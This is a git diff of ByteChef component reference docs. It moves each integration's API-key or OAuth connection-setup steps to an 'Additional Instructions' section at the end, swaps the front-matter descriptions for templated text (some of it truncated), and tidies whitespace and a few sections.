+2. Navigate to Developers tab from the left menu bar after login.
+3. Click the button Create a new API Key to generate a key.
+4. Copy the API key. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/z1FIORugGHA7hrd5hxXY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/box_v1.mdx b/docs/content/docs/reference/components/box_v1.mdx
index 803b1dd5431..a415a14f831 100644
--- a/docs/content/docs/reference/components/box_v1.mdx
+++ b/docs/content/docs/reference/components/box_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Box"
-description: "Box is a cloud content management and file sharing service that enables businesses to securely store, manage, and collaborate on documents."
+description: "Box integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Box
 ---
 
-
 Categories: File Storage
 
 
@@ -30,27 +29,6 @@ Version: 1
 
 
 
-![anl-c-box-md](https://static.scarf.sh/a.png?x-pxid=84d37904-17b6-42f2-ae30-b656ae3c7561)
-## Connection Setup
-
-Follow these steps to connect Box to ByteChef using OAuth 2.0.
-
-1. Login to your [Box account](https://app.box.com/).
-2. Click on **Dev Console** in the bottom‑left corner.
-3. Click on **Create Platform App**.
-4. Select **Custom App** for an app type.
-5. Enter the name and select a purpose for your app. Click **Next**.
-6. Select **User Authentication Method**. Click **Create App**.
-7. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://localhost:5173/callback`
-8. Select scopes for your app.
-9. Copy the Client ID and Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.85379203% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/e7edcd34-573c-4ccc-af27-4040237a49b9?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -118,8 +96,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Download File
 Name: downloadFile
 
@@ -175,8 +151,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -241,8 +215,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -292,7 +264,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Folder
 Name: newFolder
 
@@ -341,10 +312,33 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+![anl-c-box-md](https://static.scarf.sh/a.png?x-pxid=84d37904-17b6-42f2-ae30-b656ae3c7561)
+## Connection Setup
+
+Follow these steps to connect Box to ByteChef using OAuth 2.0.
+
+1. Login to your [Box account](https://app.box.com/).
+2. Click on **Dev Console** in the bottom‑left corner.
+3. Click on **Create Platform App**.
+4. Select **Custom App** for an app type.
+5. Enter the name and select a purpose for your app. Click **Next**.
+6. Select **User Authentication Method**. Click **Create App**.
+7. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://localhost:5173/callback`
+8. Select scopes for your app.
+9. Copy the Client ID and Client Secret.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.85379203% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/e7edcd34-573c-4ccc-af27-4040237a49b9?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/brevo_v1.mdx b/docs/content/docs/reference/components/brevo_v1.mdx
index b878d98a9f3..63e84c33866 100644
--- a/docs/content/docs/reference/components/brevo_v1.mdx
+++ b/docs/content/docs/reference/components/brevo_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Brevo"
-description: "Brevo is an email marketing platform that offers a cloud-based marketing communication software suite with transactional email, marketing automation, customer-relationship management and more."
+description: "Brevo integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Brevo
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -30,20 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Go to https://www.brevo.com/.
-2. Log in to your account.
-3. Click on company/organization name dropdown menu.
-4. Click on SMTP & API.
-5. Click on API keys.
-6. Click on Generate a new API key and name it.
-7. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/XwCeceuQfSdZFVrg5XZy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -103,8 +88,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Contact
 Name: updateContact
 
@@ -139,8 +122,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Send Transactional Email
 Name: sendTransactionalEmail
 
@@ -202,8 +183,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -231,4 +210,20 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Go to https://www.brevo.com/.
+2. Log in to your account.
+3. Click on company/organization name dropdown menu.
+4. Click on SMTP & API.
+5. Click on API keys.
+6. Click on Generate a new API key and name it.
+7. Copy the API key. Use these credentials to create a connection in ByteChef.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/XwCeceuQfSdZFVrg5XZy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/calcom_v1.mdx b/docs/content/docs/reference/components/calcom_v1.mdx
index 274bf93c132..6f7a79b5b98 100644
--- a/docs/content/docs/reference/components/calcom_v1.mdx
+++ b/docs/content/docs/reference/components/calcom_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Cal.com"
-description: "A fully customizable scheduling software for individuals, businesses taking calls and developers building scheduling platforms where users meet users."
+description: "Calcom integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Cal.com
 ---
 
-
 Categories: Communication
 
 
@@ -29,24 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **My settings**.
-3. Click on **API keys**.
-4. Click on **Add**.
-5. Enter name of your API Key.
-6. Choose expiration date of your API key.
-7. Click on **Save**.
-8. Click on **Copy** to copy the API key, you will not be able to see it after this step.
-9. Click on **Done**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c067bb7f-296f-44a2-a623-649cf73fd2e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -121,7 +102,6 @@ Type: OBJECT
 ```
 
 
-
 ### Booking Created
 Name: bookingCreated
 
@@ -193,7 +173,6 @@ Type: OBJECT
 ```
 
 
-
 ### Booking Ended
 Name: bookingEnded
 
@@ -233,7 +212,6 @@ Type: OBJECT
 ```
 
 
-
 ### Booking Rescheduled
 Name: bookingRescheduled
 
@@ -313,4 +291,24 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your dashboard.
+2. Click on **My settings**.
+3. Click on **API keys**.
+4. Click on **Add**.
+5. Enter name of your API Key.
+6. Choose expiration date of your API key.
+7. Click on **Save**.
+8. Click on **Copy** to copy the API key, you will not be able to see it after this step.
+9. Click on **Done**.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/c067bb7f-296f-44a2-a623-649cf73fd2e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/calendly_v1.mdx b/docs/content/docs/reference/components/calendly_v1.mdx
index 501312c4f85..9d84dec6214 100644
--- a/docs/content/docs/reference/components/calendly_v1.mdx
+++ b/docs/content/docs/reference/components/calendly_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Calendly"
-description: "Calendly is a scheduling tool that allows users to easily set up and manage appointments and meetings."
+description: "Calendly integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Calendly
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -96,8 +94,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -132,7 +128,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### Invitee Created
 Name: inviteeCreated
 
@@ -166,10 +161,8 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/capsule-crm_v1.mdx b/docs/content/docs/reference/components/capsule-crm_v1.mdx
index 908fee44a7d..33ad7dae80e 100644
--- a/docs/content/docs/reference/components/capsule-crm_v1.mdx
+++ b/docs/content/docs/reference/components/capsule-crm_v1.mdx
@@ -29,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Generate API Token
-
-1. Navigate to your Capsule CRM dashboard.
-2. Click here to access your preferences.
-3. Click on **My Preferences**.
-4. Click on **API Authentication Tokens**.
-5. Click on **Generate New API Token**.
-6. Enter name of your token.
-7. Enable every scope and click on **Generate Token**.
-8. Copy your token.
-9. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/05ba1ab9-d03a-4b6c-a499-3e630091a1ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
 
 
 <hr />
@@ -113,8 +94,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -185,5 +164,25 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Generate API Token
 
+1. Navigate to your Capsule CRM dashboard.
+2. Click here to access your preferences.
+3. Click on **My Preferences**.
+4. Click on **API Authentication Tokens**.
+5. Click on **Generate New API Token**.
+6. Enter name of your token.
+7. Enable every scope and click on **Generate Token**.
+8. Copy your token.
+9. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/05ba1ab9-d03a-4b6c-a499-3e630091a1ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
 
diff --git a/docs/content/docs/reference/components/chat_v1.mdx b/docs/content/docs/reference/components/chat_v1.mdx
index eafd77ffa12..0ff0ebf41d2 100644
--- a/docs/content/docs/reference/components/chat_v1.mdx
+++ b/docs/content/docs/reference/components/chat_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Chat"
-description: "Actions and triggers for using with the chat widget."
+description: "Chat integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Chat
 ---
 
-
 Categories: Helpers
 
 
@@ -55,47 +54,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-### Stream Response to Chat Request
-Name: streamResponseToRequest
-
-`Stream the response to chat request.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| stream | Stream | STRING | The stream messages. | false |
-| attachments | Attachments | ARRAY <details> <summary> Items </summary> [FILE_ENTRY] </details> | The attachments of the response. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Stream Response to Chat Request",
-  "name" : "streamResponseToRequest",
-  "parameters" : {
-    "stream" : "",
-    "attachments" : [ {
-      "extension" : "",
-      "mimeType" : "",
-      "name" : "",
-      "url" : ""
-    } ]
-  },
-  "type" : "chat/v1/streamResponseToRequest"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
 ## Triggers
 
 
@@ -141,9 +99,4 @@ Type: OBJECT
   },
   "type" : "chat/v1/newChatRequest"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/claude-code_v1.mdx b/docs/content/docs/reference/components/claude-code_v1.mdx
index 3013558d236..1b6951f289e 100644
--- a/docs/content/docs/reference/components/claude-code_v1.mdx
+++ b/docs/content/docs/reference/components/claude-code_v1.mdx
@@ -1,10 +1,9 @@
 ---
-title: "Claude Code"
-description: "Allows you to chat with Claude Code and added MCP tools"
+description: 'description: Learn how to use Claude Code in ByteChef. Comprehensive
+  guide with examples'
+title: Claude Code
 ---
 
-
-
 Type: claudeCode/v1
 
 <hr />
@@ -56,8 +55,6 @@ Type: STRING
 
 
 
-
-
 ### Add MCP Server
 Name: addMCP
 
@@ -109,8 +106,6 @@ Type: STRING
 
 
 
-
-
 ### Chat
 Name: chat
 
@@ -143,16 +138,4 @@ ___Sample Output:___
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/clickup_v1.mdx b/docs/content/docs/reference/components/clickup_v1.mdx
index 36c52b62fce..89750343a39 100644
--- a/docs/content/docs/reference/components/clickup_v1.mdx
+++ b/docs/content/docs/reference/components/clickup_v1.mdx
@@ -30,25 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect ClickUp to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a ClickUp OAuth app
-1. Log in to ClickUp.
-2. In the upper-right corner, click your avatar and select **Settings**.
-3. In the left sidebar, open **ClickUp API** and go to the **ClickUp API Settings** tab.
-4. Click **Create an app**.
-5. Enter a clear name (for example, `ByteChef Integration`).
-6. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-7. Save the app and copy the generated **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/tlthDvxkTTkqUMdnJwam?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -122,8 +103,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -201,8 +180,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Folder
 Name: createFolder
 
@@ -262,8 +239,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -313,7 +288,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Task
 Name: newTask
 
@@ -365,10 +339,31 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect ClickUp to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a ClickUp OAuth app
+1. Log in to ClickUp.
+2. In the upper-right corner, click your avatar and select **Settings**.
+3. In the left sidebar, open **ClickUp API** and go to the **ClickUp API Settings** tab.
+4. Click **Create an app**.
+5. Enter a clear name (for example, `ByteChef Integration`).
+6. Add the ByteChef OAuth redirect (callback) URL(s):
+   - Cloud: `https://app.bytechef.io/callback`
+   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
+7. Save the app and copy the generated **Client ID** and **Client Secret**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/tlthDvxkTTkqUMdnJwam?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/coda_v1.mdx b/docs/content/docs/reference/components/coda_v1.mdx
index e0a4213218b..6225123abc6 100644
--- a/docs/content/docs/reference/components/coda_v1.mdx
+++ b/docs/content/docs/reference/components/coda_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Coda"
-description: "Coda is a collaborative all-in-one productivity tool that combines documents, spreadsheets, apps, and databases into a single platform."
+description: "Coda integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Coda
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -29,19 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://coda.io/signin.
-2. Click on your account.
-3. Click on Account Settings.
-4. Scroll to API Settings and click Generate API token.
-5. Give your token a name and click Generate API token.
-6. Copy the API token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/LoU0lV4QiDN6CgNDTtPY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -144,8 +130,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Copy Doc
 Name: copyDoc
 
@@ -244,8 +228,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Row
 Name: updateRow
 
@@ -306,8 +288,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Insert Row
 Name: insertRow
 
@@ -363,11 +343,25 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to the dashboard at https://coda.io/signin.
+2. Click on your account.
+3. Click on Account Settings.
+4. Scroll to API Settings and click Generate API token.
+5. Give your token a name and click Generate API token.
+6. Copy the API token. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/LoU0lV4QiDN6CgNDTtPY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/contiguity_v1.mdx b/docs/content/docs/reference/components/contiguity_v1.mdx
index 328278e6059..6aec829a489 100644
--- a/docs/content/docs/reference/components/contiguity_v1.mdx
+++ b/docs/content/docs/reference/components/contiguity_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Contiguity"
-description: "Contiguity is an SMS service for your needs - quick and simple."
+description: "Contiguity integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Contiguity
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -29,20 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create a Contiguity Token
-
-1. Navigate to [Contiguity Console](https://console.contiguity.com/dashboard).
-2. Click on "API Keys".
-3. Click on "Create New Token".
-4. Enter name of your token.
-5. Click on "Create".
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/DSzhNENc8nP82QanYSx2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -110,8 +95,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Email
 Name: sendEmail
 
@@ -182,11 +165,26 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create a Contiguity Token
+
+1. Navigate to [Contiguity Console](https://console.contiguity.com/dashboard).
+2. Click on "API Keys".
+3. Click on "Create New Token".
+4. Enter name of your token.
+5. Click on "Create".
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/DSzhNENc8nP82QanYSx2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/copper_v1.mdx b/docs/content/docs/reference/components/copper_v1.mdx
index ffcb4987bdc..7edef5ceea5 100644
--- a/docs/content/docs/reference/components/copper_v1.mdx
+++ b/docs/content/docs/reference/components/copper_v1.mdx
@@ -30,24 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create API Key
-
-1. Navigate to [Copper](https://app.copper.com) dashboard.
-2. Click on your account icon.
-3. Click on **Workspace Settings**.
-4. Click on **Integrations**.
-5. Click on **API Keys**.
-6. Click on **Generate API Key**.
-7. Enter label for API Key.
-8. Here you can see your **API Key**.
-9. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/71f515c3-552e-46be-b299-179d88d11d10?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -121,8 +103,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Company
 Name: createCompany
 
@@ -238,8 +218,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Person
 Name: createPerson
 
@@ -371,8 +349,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -459,11 +435,30 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create API Key
+
+1. Navigate to [Copper](https://app.copper.com) dashboard.
+2. Click on your account icon.
+3. Click on **Workspace Settings**.
+4. Click on **Integrations**.
+5. Click on **API Keys**.
+6. Click on **Generate API Key**.
+7. Enter label for API Key.
+8. Here you can see your **API Key**.
+9. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/71f515c3-552e-46be-b299-179d88d11d10?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/couchbase_v1.mdx b/docs/content/docs/reference/components/couchbase_v1.mdx
index 1f91dccca06..761d7bef669 100644
--- a/docs/content/docs/reference/components/couchbase_v1.mdx
+++ b/docs/content/docs/reference/components/couchbase_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "Couchbase"
-description: "Couchbase is a distributed, JSON document database, with all the desired capabilities of a relational DBMS."
+description: 'description: Couchbase is a distributed, JSON document database, with
+  all the desired'
+title: Couchbase
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -39,22 +39,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-[Official documentation](https://docs.couchbase.com/cloud/get-started/connect.html)
-
-Step-by-step guide:
-
-1. Create a Cluster, click on it
-2. Go to Buckets, Create a Bucket
-3. Go to Settings → Networking → Allow IP Addresses, Allow your current IP address
-4. Go to Settings → Security, Create Access (username and password)
-5. Go to Data Tools → Search, Create a Search Index
-6. Go to Connect, Copy Public Connection String
-
-Now you have Public Connection String, Username, Password, Index Name and can create a connection
-
-
 
 
 <hr />
@@ -84,8 +68,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Data
 Name: search
 
@@ -118,5 +100,21 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+[Official documentation](https://docs.couchbase.com/cloud/get-started/connect.html)
+
+Step-by-step guide:
 
+1. Create a Cluster, click on it
+2. Go to Buckets, Create a Bucket
+3. Go to Settings → Networking → Allow IP Addresses, Allow your current IP address
+4. Go to Settings → Security, Create Access (username and password)
+5. Go to Data Tools → Search, Create a Search Index
+6. Go to Connect, Copy Public Connection String
 
+Now you have Public Connection String, Username, Password, Index Name and can create a connection
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/crypto-helper_v1.mdx b/docs/content/docs/reference/components/crypto-helper_v1.mdx
index 7e186283da5..b6e0a92096c 100644
--- a/docs/content/docs/reference/components/crypto-helper_v1.mdx
+++ b/docs/content/docs/reference/components/crypto-helper_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "Crypto Helper"
-description: "The Crypto Helper allows you to use cryptographic functions."
+description: 'description: Learn how to use Crypto Helper in ByteChef. Comprehensive
+  guide with'
+title: Crypto Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -55,8 +55,6 @@ Type: STRING
 
 
 
-
-
 ### Hmac
 Name: hmac
 
@@ -97,8 +95,6 @@ Type: STRING
 
 
 
-
-
 ### PGP Decrypt
 Name: pgpDecrypt
 
@@ -160,11 +156,6 @@ Type: FILE_ENTRY
 }
 ```
 
-#### Generate PGP key pair
-
-To generate PGP key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-pgp-key-pair)
-
-
 
 ### PGP Encrypt
 Name: pgpEncrypt
@@ -226,8 +217,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### RSA Decrypt
 Name: rsaDecrypt
 
@@ -287,11 +276,6 @@ Type: FILE_ENTRY
 }
 ```
 
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
-
-
 
 ### RSA Encrypt
 Name: rsaEncrypt
@@ -353,8 +337,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Sign
 Name: sign
 
@@ -414,11 +396,6 @@ Type: FILE_ENTRY
 }
 ```
 
-#### Generate RSA key pair
-
-To generate RSA key pair, click [here](/reference/components/crypto-helper_v1#how-to-generate-rsa-key-pair)
-
-
 
